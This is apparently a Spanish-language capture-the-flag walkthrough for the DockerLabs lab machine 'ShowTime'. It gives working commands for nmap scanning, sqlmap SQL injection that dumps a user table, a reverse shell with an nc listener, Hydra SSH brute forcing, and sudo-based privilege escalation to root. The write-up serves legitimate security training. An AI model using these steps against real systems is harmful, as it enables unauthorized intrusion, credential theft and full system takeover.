> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/showtime.md).
# ShowTime
### **Despliegue de la Máquina:**
#### **1. Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ShowTime** y pulsamos el botón de descarga.
Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.
#### **2. Descompresión:**
Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `showtime.zip`:
```bash
7z x showtime.zip
```
#### **3. Ejecución:**
Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `showtime.tar`:
```bash
bash auto_deploy.sh showtime.tar
```
***
### **Reconocimiento:**
#### **1. Verificación de Conectividad:**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2. Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Explicación de los parámetros:**
* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.
**Puertos abiertos identificados:**
* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.
#### **3. Escaneo Detallado:**
Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Explicación de los parámetros:**
* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.
**Resultados del escaneo:**
* **Puerto 22:** `OpenSSH 9.6p1`.
* **Puerto 80:** `Apache httpd 2.4.58`.
#### **4. Análisis del Servicio Web:**
Accedemos al servicio web a través del navegador usando la URL `http://172.17.0.2/`.
Encontramos una página web de un casino con un botón de inicio de sesión en la esquina superior derecha.
Al hacer clic en el botón de inicio de sesión, accedemos al panel de autenticación en la ruta `http://172.17.0.2/login_page/index.php`.
Como no tenemos credenciales válidas, procedemos a probar si el panel es vulnerable a inyección SQL (SQLi).
***
### **Explotación:**
#### **1. Inyección SQL (SQLi):**
Utilizamos `sqlmap` para automatizar la explotación de posibles vulnerabilidades SQLi en el panel de inicio de sesión:
```bash
sqlmap -u http://172.17.0.2/login_page/ --dbs --batch --forms
```
**Explicación de los parámetros:**
* `-u`: URL objetivo.
* `--dbs`: Enumera las bases de datos disponibles.
* `--batch`: Ejecuta en modo automático sin interacción.
* `--forms`: Analiza y prueba formularios HTML.
**Bases de datos encontradas:**
* `information_schema`.
* `mysql`.
* `performance_schema`.
* `sys`.
* `users`.
#### **2. Extracción de Credenciales:**
Nos enfocamos en la base de datos `users` y extraemos las tablas que contiene:
```bash
sqlmap -u http://172.17.0.2/login_page/ --batch --forms -D users --tables
```
**Explicación de parámetros:**
* `-D users`: Especifica la base de datos.
* `--tables`: Enumera las tablas.
**Tabla encontrada:** `usuarios`.
Extraemos los datos de la tabla `usuarios`:
```bash
sqlmap -u http://172.17.0.2/login_page/ --batch --forms -D users -T usuarios --dump
```
**Explicación de parámetros:**
* `-T usuarios`: Especifica la tabla.
* `--dump`: Extrae los datos.
**Datos obtenidos:**
| **id** | **password** | **username** |
| :----: | :------------------: | :----------: |
| 1 | 123321123321 | lucas |
| 2 | 123456123456 | santiago |
| 3 | MiClaveEsInhackeable | joe |
#### **3. Acceso al Panel de Administración:**
Probamos las credenciales en el panel de inicio de sesión (`http://172.17.0.2/login_page/index.php`).
La combinación `joe:MiClaveEsInhackeable` nos permite acceder a un panel de administración con capacidad para ejecutar comandos en Python.
#### **4. Reverse Shell:**
Desde el panel de administración, ejecutamos una reverse shell en Python para obtener acceso al sistema, utilizando el código proporcionado con [RevShells](https://www.revshells.com/).
Nos ponemos en escucha en nuestro equipo:
```bash
nc -lvnp 1234
```
Desde el panel de administración, pulsamos el botón "Ejecutar Comando" para iniciar la reverse shell.
Como resultado, la página web permanece cargando, lo que indica que el comando se está ejecutando.
En nuestra consola, recibimos la shell con el usuario `www-data`.
***
### **Escalada de Privilegios:**
#### **1. Enumeración de Contraseñas:**
Investigamos el sistema y encontramos un archivo oculto en `/tmp` llamado `.hidden_text.txt`.
Si listamos el contenido del archivo con el siguiente comando:
```bash
cat .hidden_text.txt
```
Observamos que contiene posibles contraseñas.
Vamos a copiar esas contraseñas y pegarlas en un archivo local en nuestro equipo.
Ahora convertimos todas las contraseñas de mayúsculas a minúsculas utilizando el siguiente comando:
```bash
cat contraseñas_1.txt | tr 'A-Z' 'a-z' > contraseñas.txt
```
Para comprobar que las contraseñas se han convertido correctamente a minúsculas, visualizamos el contenido del archivo `contraseñas.txt` con el siguiente comando:
```bash
cat contraseñas.txt
```
Al ejecutarlo, confirmamos que todas las contraseñas están en minúsculas, tal como se esperaba.
#### **2. Fuerza Bruta con Hydra:**
Realizamos un ataque de fuerza bruta utilizando los usuarios que identificamos previamente en la tabla `usuarios` (`lucas`, `santiago`, `joe`).
Para ello, empleamos la herramienta `hydra` con el siguiente comando:
```bash
hydra -l joe -P contraseñas.txt ssh://172.17.0.2
```
Como resultado, descubrimos que la contraseña correcta para el usuario `joe` es `chittychittybangbang`.
Accedemos a la máquina mediante SSH utilizando el usuario `joe` con el siguiente comando:
```bash
ssh joe@172.17.0.2
```
Como podemos comprobar en la siguiente captura de pantalla, hemos iniciado sesión correctamente en la máquina como el usuario `joe`.
#### **3. Escalada a Luciano:**
Ejecutamos `sudo -l` para ver los privilegios del usuario `joe`.
**Resultado:**
Observamos que `joe` tiene permisos para ejecutar `/bin/posh` como el usuario `luciano` sin necesidad de contraseña:
```bash
(luciano) NOPASSWD: /bin/posh
```
Accedemos a [GTFOBins](https://gtfobins.github.io/gtfobins/posh/) para consultar posibles vectores de escalada de privilegios utilizando `/bin/posh`.
Según la información, podemos ejecutar el siguiente comando para acceder al sistema como el usuario `luciano`:
```bash
sudo -u luciano /bin/posh
```
#### **4. Escalada a Root:**
Una vez dentro del sistema como el usuario `luciano`, volvemos a ejecutar el comando `sudo -l` para revisar sus privilegios.
**Resultado:**
Observamos que `luciano` tiene permisos para ejecutar el siguiente script como `root`, sin necesidad de contraseña:
```bash
(root) NOPASSWD: /bin/bash /home/luciano/script.sh
```
Modificamos el script `script.sh` para obtener una shell como `root`:
```bash
echo "/bin/bash -p" > script.sh
```
Ejecutamos el script con privilegios de `root` utilizando el siguiente comando:
```bash
sudo -u root /bin/bash /home/luciano/script.sh
```
Al hacerlo, obtenemos acceso como el usuario `root`, lo que confirma que hemos completado exitosamente la escalada de privilegios.